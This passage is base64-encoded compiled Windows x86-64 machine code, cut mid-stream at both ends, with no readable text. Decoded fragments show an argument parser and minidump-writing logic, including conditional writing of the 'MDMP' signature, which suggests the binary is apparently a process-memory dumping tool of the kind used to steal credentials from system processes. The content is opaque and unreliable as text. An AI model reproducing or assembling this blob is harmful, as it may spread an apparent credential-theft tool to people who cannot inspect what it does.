QEAAABIiwUzhgAA/9BIjRUCnQAASInB6OL+//+5AQAAAEiLBRaGAAD/0EiNFaacAABIicHoxf7//7kBAAAASIsF+YUAAP/QSI0V8JwAAEiJweio/v//uQEAAABIiwXchQAA/9BIjRVsnAAASInB6Iv+//+5AQAAAEiLBb+FAAD/0EiNFdecAABIicHobv7//7kBAAAASIsFooUAAP/QSI0VMpwAAEiJwehR/v//uQEAAABIiwWFhQAA/9BIjRW0nAAASInB6DT+//+5AQAAAEiLBWiFAAD/0EiNFfibAABIicHoF/7//7kBAAAASIsFS4UAAP/QSI0Vq5wAAEiJwej6/f//uQEAAABIiwUuhQAA/9BIjRW+mwAASInB6N39//+5AQAAAEiLBRGFAAD/0EiNFYCcAABIicHowP3//7kBAAAASIsF9IQAAP/QSI0VhJsAAEiJweij/f//uQEAAABIiwXXhAAA/9BIjRV5nAAASInB6Ib9//+5AQAAAEiLBbqEAAD/0EiNFUqbAABIicHoaf3//7kBAAAASIsFnYQAAP/QSI0VVJwAAEiJwehM/f//uQEAAABIiwWAhAAA/9BIjRUQmwAASInB6C/9//+5AQAAAEiLBWOEAAD/0EiNFVGcAABIicHoEv3//7kBAAAASIsFRoQAAP/QSI0V1poAAEiJwej1/P//uQEAAABIiwUphAAA/9BIjRUonAAASInB6Nj8//+5AQAAAEiLBQyEAAD/0EiNFZyaAABIicHou/z//7kBAAAASIsF74MAAP/QSI0VHZwAAEiJweie/P//uQEAAABIiwXSgwAA/9BIjRVimgAASInB6IH8//+5AQAAAEiLBbWDAAD/0EiNFfybAABIicHoZPz//7kBAAAASIsFmIMAAP/QSI0VKJoAAEiJwehH/P//uQEAAABIiwV7gwAA/9BIjRUCnAAASInB6Cr8//+5AQAAAEiLBV6DAAD/0EiNFe6ZAABIicHoDfz//7kBAAAASIsFQYMAAP/QSI0V8JsAAEiJwejw+///uQEAAABIiwUkgwAA/9BIjRW0mQAASInB6NP7//+5AQAAAEiLBQeDAAD/0EiNFQKcAABIicHotvv//7kBAAAASIsF6oIAAP/QSI0VepkAAEiJweiZ+///uQEAAABIiwXNggAA/9BIjRXcmwAASInB6Hz7//+5A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